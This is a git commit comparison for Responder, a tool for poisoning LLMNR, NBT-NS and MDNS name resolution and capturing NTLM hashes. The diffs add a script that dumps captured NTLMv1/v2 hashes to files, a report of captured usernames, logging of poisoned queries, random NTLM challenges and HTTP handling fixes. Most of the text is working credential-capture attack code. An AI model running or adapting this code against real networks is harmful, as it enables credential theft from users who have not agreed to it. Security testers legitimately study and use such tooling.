Compare commits

..

15 Commits

Author SHA1 Message Date
lgandx
2b322b227e minor fix 2017-02-18 20:57:36 +01:00
lgandx
9440cb3e30 Merge branch 'master' of https://github.com/lgandx/Responder 2017-02-18 20:40:01 +01:00
lgandx
21d48be98f Added: Hashdump, Stats report 2017-02-18 20:38:40 +01:00
lgandx
c9609bd8c6 Merge pull request #25 from joshuaskorich/master
added `ip` commands in addition to ifconfig and netstat
2017-02-10 22:03:46 +01:00
lgandx
0642999741 fixed crash: typo. 2017-02-10 18:18:23 +01:00
lgandx
5f59f2934e Merge pull request #33 from skelsec/master
Fixing HTTP header issue
2017-02-09 22:40:28 +01:00
skelsec
225857b6ed cleaning up comments 2017-02-06 10:48:23 -08:00
skelsec
2c32704b85 SimpleSSL 2017-02-06 09:42:35 -08:00
skelsec
0e3e6f9745 making HTTP great again 2017-02-06 09:21:44 -08:00
lgandx
0ede767d95 Merge pull request #32 from Gifts/fix_randchallenge
Fix for RandomChallenge function.
2017-02-01 22:32:13 +01:00
Gifts
de6e869a79 Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string 2017-02-01 16:55:15 +03:00
lgandx
cf654ee178 Merge pull request #28 from kithack/master
Fix Proxy_Auth. Random challenge broke it.
2017-01-19 22:31:52 +01:00
Timon Hackenjos
5a2ee18bfa Fix Proxy_Auth. Random challenge broke it. 2017-01-19 17:46:21 +01:00
thejosko
db61f243c9 added ip commands in addition to ifconfig and netstat 2017-01-11 17:35:08 -06:00
lgandx
0d441d1899 Added: Random challenge for each requests (default) 2017-01-03 17:40:38 -03:00
11 changed files with 260 additions and 49 deletions

49
DumpHash.py Executable file
View File

@@ -0,0 +1,49 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
def DumpHashToFile(outfile, data):
with open(outfile,"w") as dump:
dump.write(data)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()
print "Dumping NTLMV2 hashes:"
v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2)
print v2
print "\nDumping NTLMv1 hashes:"
v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1)
print v1

95
Report.py Executable file
View File

@@ -0,0 +1,95 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
import os
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
for row in res.fetchall():
print('User account: {0}'.format(row[0]))
def GetResponderUsernamesWithDetails(cursor):
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
for row in res.fetchall():
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
def GetResponderCompleteHash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
if not k in result:
result[k] = ''
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
cursor = DbConnect()
print color("[+] Generating report...", code = 3, modifier = 1)
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
GetResponderUsernames(cursor)
print color("\n[+] Username details:", code = 2, modifier = 1)
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)

View File

@@ -15,7 +15,7 @@ LDAP = On
; Custom challenge. ; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default) ; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788 Challenge = Random
; SQLite Database file ; SQLite Database file
; Delete this file to re-capture previously captured hashes ; Delete this file to re-capture previously captured hashes

View File

@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
#Create the DB, before we start Responder.
CreateResponderDb()
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@@ -238,8 +241,8 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,))) threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
if settings.Config.SSL_On_Off: if settings.Config.SSL_On_Off:
from servers.HTTP import HTTPS from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,))) threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
if settings.Config.WPAD_On_Off: if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy from servers.HTTP_Proxy import HTTP_Proxy

View File

@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate() Buffer.calculate()
soc.sendto(str(Buffer), self.client_address) soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT)) soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

View File

@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = NBT_Ans() Buffer = NBT_Ans()
Buffer.calculate(data) Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -266,46 +266,47 @@ class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge() Challenge = RandomChallenge()
for x in range(2):
while True:
self.request.settimeout(3) self.request.settimeout(3)
data = self.request.recv(8092) remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = self.request.recv(8092)
if buff == '':
break
data += buff
remaining -= len(buff)
if remaining <= 0:
break
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
#now the data variable has the full request
Buffer = WpadCustom(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False: if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer) self.request.send(Buffer)
self.request.close() self.request.close()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else: else:
Buffer = PacketSequence(data,self.client_address[0], Challenge) Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer) self.request.send(Buffer)
except socket.error: except socket.error:
pass pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
Challenge = RandomChallenge()
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.exchange.send(Buffer)
except:
pass

View File

@@ -47,7 +47,7 @@ def GrabHost(data):
return Host return Host
return False return False
def PacketSequence(data, client): def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth: if NTLM_Auth:
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate() Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer)) Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans) return str(Buffer_Ans)
if Packet_NTLM == "\x03": if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth") ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge()
for x in range(2): for x in range(2):
data = self.request.recv(4096) data = self.request.recv(4096)
self.request.send(PacketSequence(data, self.client_address[0])) self.request.send(PacketSequence(data, self.client_address[0], Challenge))
except: except:
pass pass

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.3.2' __version__ = 'Responder 2.3.3.5'
class Settings: class Settings:
@@ -229,9 +229,12 @@ class Settings:
try: try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"]) NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except subprocess.CalledProcessError as ex: except:
NetworkCard = "Error fetching Network Interfaces:", ex try:
pass NetworkCard = subprocess.check_output(["ip", "address", "show"])
except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try: try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex: except subprocess.CalledProcessError as ex:
@@ -239,9 +242,12 @@ class Settings:
pass pass
try: try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except subprocess.CalledProcessError as ex: except:
RoutingInfo = "Error fetching Routing information:", ex try:
pass RoutingInfo = subprocess.check_output(["ip", "route", "show"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try: try:

View File

@@ -26,7 +26,7 @@ import datetime
def RandomChallenge(): def RandomChallenge():
if settings.Config.NumChal == "random": if settings.Config.NumChal == "random":
from random import getrandbits from random import getrandbits
NumChal = '%0x' % getrandbits(16 * 4) NumChal = '%016x' % getrandbits(16 * 4)
Challenge = '' Challenge = ''
for i in range(0, len(NumChal),2): for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex") Challenge += NumChal[i:i+2].decode("hex")
@@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump: with open(outfile,"a") as dump:
dump.write(data + '\n') dump.write(data + '\n')
def SaveToDb(result): def CreateResponderDb():
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile): if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
@@ -222,6 +225,23 @@ def SaveToDb(result):
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c": if data[len(data)-4:len(data)][1] =="\x1c":